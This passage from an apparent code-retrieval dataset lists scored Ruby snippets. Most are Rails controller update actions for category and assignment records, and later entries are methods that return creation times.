"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caef06c6f57079e61e9df3c8739e154e",
"score": "0.57141244",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caef06c6f57079e61e9df3c8739e154e",
"score": "0.57141244",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caef06c6f57079e61e9df3c8739e154e",
"score": "0.57141244",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5ef25835823eb1a387c387314d1d772",
"score": "0.5714043",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "0f370ce43a692ccf7560820f8d47e0ca",
"score": "0.57080626",
"text": "def update\n @testcase_category = TestcaseCategory.find(params[:id])\n\n respond_to do |format|\n if @testcase_category.update_attributes(params[:testcase_category])\n flash[:notice] = 'TestcaseCategory was successfully updated.'\n format.html { redirect_to(@testcase_category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @testcase_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "145ab0e870b61178af7fc79ffcfd5619",
"score": "0.5706943",
"text": "def update\n @category = Category.find(params[:id])\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3edd4ab7afcea5e8e3617392e3fed79",
"score": "0.5700891",
"text": "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a690b8306296a9d63b716adb1b6d4d9",
"score": "0.56899107",
"text": "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a690b8306296a9d63b716adb1b6d4d9",
"score": "0.56899107",
"text": "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a690b8306296a9d63b716adb1b6d4d9",
"score": "0.56899107",
"text": "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a690b8306296a9d63b716adb1b6d4d9",
"score": "0.56899107",
"text": "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab202193a64a81d49262ba8910d312dc",
"score": "0.5686275",
"text": "def update\n @attcategory = Attcategory.find(params[:id])\n\n respond_to do |format|\n if @attcategory.update_attributes(params[:attcategory])\n flash[:notice] = 'Attribute was successfully updated.'\n format.html { redirect_to(@attcategory) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attcategory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a9bbe6a2d9c468f7e0fa96c524cc17f",
"score": "0.56862295",
"text": "def update\n respond_to do |format|\n if @checklist_category.update(checklist_category_params)\n format.json { head :no_content }\n else\n format.json { render json: @checklist_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa46954e43211b87ccd3c8ed7a12e560",
"score": "0.5686054",
"text": "def update\n @test_category = TestCategory.find(params[:id])\n\n respond_to do |format|\n if @test_category.update_attributes(params[:test_category].permit(:name,\n :organization_id))\n format.html { redirect_to test_categories_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "765e71d22173df7e826181a33faa9299",
"score": "0.5682173",
"text": "def update\n @classification = Classification.find(params[:id])\n\n respond_to do |format|\n if @classification.update_attributes(params[:classification])\n flash[:notice] = 'Classification was successfully updated.'\n format.html { redirect_to(@classification) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @classification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "858ecc5b47e9e4c84edca1ed2c211101",
"score": "0.5678204",
"text": "def update\n @ticket_category = TicketCategory.find(params[:id])\n\n respond_to do |format|\n if @ticket_category.update_attributes(params[:ticket_category])\n format.html { redirect_to(@ticket_category, :notice => 'Ticket category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ticket_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "02559c17e74b3e18a2ba33eae98c2036",
"score": "0.5677067",
"text": "def update\n assignmentId = params[:id].to_i\n assignment = params[:assignment]\n\n assignment[\"id\"] = assignmentId\n\n if !can?(current_user, :update_assignment, Assignment.where(id: params[:id]).first)\n render status: :forbidden, json: {}\n return\n end\n\n result = @assignmentService.update(assignment)\n\n render status: result.status,\n json: Oj.dump( { info: result.info, organization: result.object }, mode: :compat)\n end",
"title": ""
},
{
"docid": "4d2647ffc52fbb69e434a27f52b96578",
"score": "0.5675544",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Award category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a3a5b51575e029a4f9c39fc6ff6139c0",
"score": "0.56735104",
"text": "def update\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to [:admin, @assignment], notice: 'Assignment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eccbcb0c33dd68f9c8a2f8fb8af49e51",
"score": "0.56583923",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to(@category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "214018df4bec64f532804ecb90f0bc28",
"score": "0.56574124",
"text": "def update\n respond_to do |format|\n if @guide_category.update(guide_category_params)\n format.html { redirect_to @guide_category, notice: 'guide category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @guide_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a4a465ec9697486761e6508427d7e753",
"score": "0.5654787",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to categories_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "490069c3241577153b3ff31e7771dc00",
"score": "0.56525236",
"text": "def update\n @category = Category.find(params[:id])\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'category was successfully updated.'\n format.html { redirect_to admin_categories_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f76b9cfba363879f696087e5cea6a35",
"score": "0.56507725",
"text": "def update\n respond_to do |format|\n if @acticle_category.update(acticle_category_params)\n format.html { redirect_to @acticle_category, notice: 'Acticle category was successfully updated.' }\n format.json { render :show, status: :ok, location: @acticle_category }\n else\n format.html { render :edit }\n format.json { render json: @acticle_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b7dd417bbfca1667249a5ede564fa2e3",
"score": "0.5649348",
"text": "def update\n @acategory = Acategory.find(params[:id])\n\n respond_to do |format|\n if @acategory.update_attributes(params[:acategory])\n format.html { redirect_to [:admin,@acategory], :notice => 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @acategory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "674a21c0238fce05772902ed46077796",
"score": "0.56439877",
"text": "def update\n begin\n ActiveRecord::Base.transaction do\n @assignment.update!(@data)\n @assignment.reindex_associations\n respond_with_success get_redirect_path(assignment_path(@assignment))\n end\n rescue => e\n respond_with_error \"There was an error updating the assignment entry.\",\n new_assignment_path\n end \n end",
"title": ""
},
{
"docid": "6ed9c39f633aa8e89c8de9c578de5ed3",
"score": "0.5632407",
"text": "def update\n @subject_category = SubjectCategory.find(params[:id])\n\n respond_to do |format|\n if @subject_category.update_attributes(params[:subject_category])\n format.html { redirect_to @subject_category, notice: 'Subject category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dde7ec9b9f3733f06a5b208e3588a96e",
"score": "0.56282383",
"text": "def update\n @attendance_category = AttendanceCategory.find(params[:id])\n\n respond_to do |format|\n if @attendance_category.update_attributes(params[:attendance_category])\n format.html { redirect_to(@attendance_category, :notice => 'AttendanceCategory was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attendance_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a7c3da822991ecbfdbd0719aa949b901",
"score": "0.5627473",
"text": "def update\r\n @category_question = CategoryQuestion.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @category_question.update_attributes(params[:category_question])\r\n format.html { redirect_to(@category_question, :notice => 'CategoryQuestion was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @category_question.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "e0dd9f963b805cc3a5e8ba4be513a602",
"score": "0.5627385",
"text": "def update\n @checklist_category = ChecklistCategory.find(params[:id])\n\n respond_to do |format|\n if @checklist_category.update_attributes(params[:checklist_category])\n format.html { redirect_to @checklist_category, notice: 'Checklist category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @checklist_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0675f40516ffd91e2a04f84c82f498b8",
"score": "0.5626157",
"text": "def update\n @category = Category.find(params[:id])\n\n if @category.update(category_params)\n head :no_content\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "e95f98cf05664c2667475816b571c549",
"score": "0.56251216",
"text": "def update\n @forums_category = Forums::Category.find(params[:id])\n\n respond_to do |format|\n if @forums_category.update_attributes(params[:forums_category])\n format.html { redirect_to(@forums_category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @forums_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a525bdf9cb6fcc7246b2342c12358d5e",
"score": "0.56167555",
"text": "def update\n standard_update(VolunteerCategory, params[:id], volunteer_category_params)\n end",
"title": ""
},
{
"docid": "8043bac8c76854bd2b0c1f9be08eba0e",
"score": "0.5615361",
"text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.json { render json: @category, status: :accepted }\n else\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "202bd54e86806549ff32e473e7ffb74a",
"score": "0.5612364",
"text": "def update\n if @idea.update_attributes(params[:idea])\n params[:cat].each { |cat| @idea.categories << Category.find_or_create_by_name(cat) }\n flash[:notice] = 'Idea updated'\n redirect_to :action => :index\n else\n params[:cat].each { |cat| @idea.categories << Category.find_or_create_by_name(cat) }\n render :action => :edit\n end\n end",
"title": ""
},
{
"docid": "c38c07ade992e5bfd1965c7994b88657",
"score": "0.561236",
"text": "def update\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f42b48eaadf1050f08c5625e103fa80",
"score": "0.5610321",
"text": "def update\n @a_category = ACategory.find(params[:id])\n\n respond_to do |format|\n if @a_category.update_attributes(params[:a_category])\n format.html { redirect_to @a_category, notice: 'A category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @a_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1296275a289a61a4836dffeccb37ee4b",
"score": "0.5607124",
"text": "def update\n @questions_category = QuestionsCategory.find(params[:id])\n\n respond_to do |format|\n if @questions_category.update_attributes(params[:questions_category])\n format.html { redirect_to admins_questions_categories_path, notice: 'Questions category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questions_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "540df4baea00610cf4f1120f42fcdca5",
"score": "0.5606252",
"text": "def update\n @doc_category = DocCategory.find(params[:id])\n\n respond_to do |format|\n if @doc_category.update_attributes(params[:doc_category])\n format.html { redirect_to(@doc_category, :notice => 'Doc category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @doc_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3272c8a96e1b50e85e2742381ed9089f",
"score": "0.5605575",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category mis a jour!.'\n format.html { redirect_to(categories_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e63b57b6e53aa037cbb7af86620f76c",
"score": "0.56053835",
"text": "def update\n if params[:selected_questions].present?\n @selected_questions = params[:selected_questions]\n logger.info(\"Create Selected questions = #{@selected_questions}\")\n questIds = params[:selected_questions].split(\"_\")\n questions = Question.find(questIds)\n @category.questions << questions\n end\n respond_to do |format|\n if params[:app_names_raw].present? \n params[:category][:app_name] = params[:app_names_raw].join(\",\")\n else \n params[:category][:app_name] = \"\"\n end\n if params[:areas_raw].present? \n params[:category][:area] = params[:areas_raw].join(\",\")\n else \n params[:category][:area] = \"\"\n end\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c29af2c596f88cdbd315741b2dd22d0",
"score": "0.5602218",
"text": "def update\n @master_category = Master::Category.find(params[:id])\n\n respond_to do |format|\n if @master_category.update_attributes(params[:master_category])\n format.html { redirect_to(@master_category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @master_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d8e658d0e348a010dabef287d5c02a5c",
"score": "0.56006104",
"text": "def update\n @topic_category = TopicCategory.find(params[:id])\n\n respond_to do |format|\n if @topic_category.update_attributes(params[:topic_category])\n flash[:notice] = 'TopicCategory was successfully updated.'\n format.html { redirect_to(@topic_category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "02c9b2c3cb630bf0690127eada2c8454",
"score": "0.5599244",
"text": "def update\n params[:movie][:category_ids] ||= []\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f1002abbeee9d3cae4cc31273278b29c",
"score": "0.5596451",
"text": "def update\n\t@category = Category.find(params[:id])\n\t\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to(@category, :notice => 'Category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "72e4becd9a38b6752a669b2da51a15c5",
"score": "0.55939245",
"text": "def update\n @category.update! category_params\n logger.info \"Category #{@category.id} is updated.\"\n render :show, status: :ok\n end",
"title": ""
},
{
"docid": "3467ee619c45dfcca032379b3df77a22",
"score": "0.5592545",
"text": "def update \n if @category \n @category.update(category_params)\n\n if @category.valid?\n head :no_content\n else \n head :bad_request\n end\n else \n head :not_found\n end\n end",
"title": ""
},
{
"docid": "27b054ecde254adb11dc0cedcaa22065",
"score": "0.5587753",
"text": "def update\r\n @cargo_category = CargoCategory.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @cargo_category.update_attributes(params[:cargo_category])\r\n format.html { redirect_to(@cargo_category, :notice => 'Cargo category was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @cargo_category.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "f73c48c8628ac744b36aa169fc110405",
"score": "0.558618",
"text": "def update\n @param_category = ParamCategory.find(params[:id])\n\n respond_to do |format|\n if @param_category.update_attributes(params[:param_category])\n format.html { redirect_to(@param_category, :notice => 'ParamCategory was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @param_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
abea672ea902291d75a97580f25092cc | Return the creation time. | [
{
"docid": "767fa3f3e0ec936fc3f3782e6535650d",
"score": "0.8371459",
"text": "def creation_date\n puts 'creation_date'\n Time.now\n end",
"title": ""
}
] | [
{
"docid": "dd5bdf42735c2aa3473c321276a82cf2",
"score": "0.8974075",
"text": "def creation_time\n @creation_time\n end",
"title": ""
},
{
"docid": "dd5bdf42735c2aa3473c321276a82cf2",
"score": "0.8973895",
"text": "def creation_time\n @creation_time\n end",
"title": ""
},
{
"docid": "dd5bdf42735c2aa3473c321276a82cf2",
"score": "0.8973895",
"text": "def creation_time\n @creation_time\n end",
"title": ""
},
{
"docid": "dd5bdf42735c2aa3473c321276a82cf2",
"score": "0.8973895",
"text": "def creation_time\n @creation_time\n end",
"title": ""
},
{
"docid": "dd5bdf42735c2aa3473c321276a82cf2",
"score": "0.8973895",
"text": "def creation_time\n @creation_time\n end",
"title": ""
},
{
"docid": "687871cfa573c748bc1a3e410aeae9e2",
"score": "0.8707031",
"text": "def creation_date\n stat.ctime\n end",
"title": ""
},
{
"docid": "687871cfa573c748bc1a3e410aeae9e2",
"score": "0.8707031",
"text": "def creation_date\n stat.ctime\n end",
"title": ""
},
{
"docid": "687871cfa573c748bc1a3e410aeae9e2",
"score": "0.8707031",
"text": "def creation_date\n stat.ctime\n end",
"title": ""
},
{
"docid": "6d25e99e4823b9d3dd6f2c670088e3d6",
"score": "0.8595183",
"text": "def creation_date_time\n return @creation_date_time\n end",
"title": ""
},
{
"docid": "03ca3cf3d8cbc438e31ac895a2693c33",
"score": "0.82283324",
"text": "def creation_time\n Cproton.pn_message_get_creation_time(@impl)\n end",
"title": ""
},
{
"docid": "30218199f5a46ea3bfb367cafedbf43a",
"score": "0.81955504",
"text": "def creation_date\n if @file.respond_to?(:create_time)\n @file.create_time\n else\n DateTime.new\n end\n end",
"title": ""
},
{
"docid": "8da6b8fcb9f6dcb08c5a622c717e8a1d",
"score": "0.8184054",
"text": "def createtime; end",
"title": ""
},
{
"docid": "7b01a730f593802b88373954056f2ca3",
"score": "0.8180577",
"text": "def getCreatedTime\r\n\t\t\t\t\treturn @createdTime\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "78e826a1e34d920eeb00b7f5482ed856",
"score": "0.8180268",
"text": "def creation_date_time\n @creation_date_time ||= Time.now.iso8601\n end",
"title": ""
},
{
"docid": "33f094906235efa5dfd4f2af7627628c",
"score": "0.8179205",
"text": "def creation_date_time\n data[:creation_date_time]\n end",
"title": ""
},
{
"docid": "1a5ed47735e7a743f52670b7c207ccc8",
"score": "0.8166093",
"text": "def created_time\n return @created_time\n end",
"title": ""
},
{
"docid": "ce8810f9a6bd7bdc95189c5047147ed8",
"score": "0.80528134",
"text": "def create_time\n data[:create_time]\n end",
"title": ""
},
{
"docid": "ce8810f9a6bd7bdc95189c5047147ed8",
"score": "0.80528134",
"text": "def create_time\n data[:create_time]\n end",
"title": ""
},
{
"docid": "b83fe389ec2825e934ac6f087897817b",
"score": "0.8006604",
"text": "def cTime\n create_time\n end",
"title": ""
},
{
"docid": "f660aaf9f81e5c64f211daf8057fa47d",
"score": "0.79714876",
"text": "def creation_time\n # Milliseconds\n ms = (@id >> 22) + DISCORD_EPOCH\n Time.at(ms / 1000.0)\n end",
"title": ""
},
{
"docid": "f660aaf9f81e5c64f211daf8057fa47d",
"score": "0.79714876",
"text": "def creation_time\n # Milliseconds\n ms = (@id >> 22) + DISCORD_EPOCH\n Time.at(ms / 1000.0)\n end",
"title": ""
},
{
"docid": "f660aaf9f81e5c64f211daf8057fa47d",
"score": "0.79714876",
"text": "def creation_time\n # Milliseconds\n ms = (@id >> 22) + DISCORD_EPOCH\n Time.at(ms / 1000.0)\n end",
"title": ""
},
{
"docid": "5d61ab071e4ffa52b28812f9acebfe8d",
"score": "0.7971356",
"text": "def timestamp\n return @create_time.to_i\n end",
"title": ""
},
{
"docid": "6b5aa03de4ce2c9369ae01b00c216083",
"score": "0.79563487",
"text": "def create_time\n Time.now\n end",
"title": ""
},
{
"docid": "ead0f72fa3c385c99f0f3921809fdc20",
"score": "0.7952416",
"text": "def create_time\n Time.parse(@server.get_run_attribute(@uuid, @links[:createtime]))\n end",
"title": ""
},
{
"docid": "12b1c8869ea41466037b480d535c19fd",
"score": "0.7934361",
"text": "def creation_time\n (run_baby_run 'GetFileInfo', ['-P', '-d', self]).chomp!\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.79057807",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905712",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
"docid": "102737df25d542325a2cdf48f636bc42",
"score": "0.7905473",
"text": "def created_date_time\n return @created_date_time\n end",
"title": ""
},
{
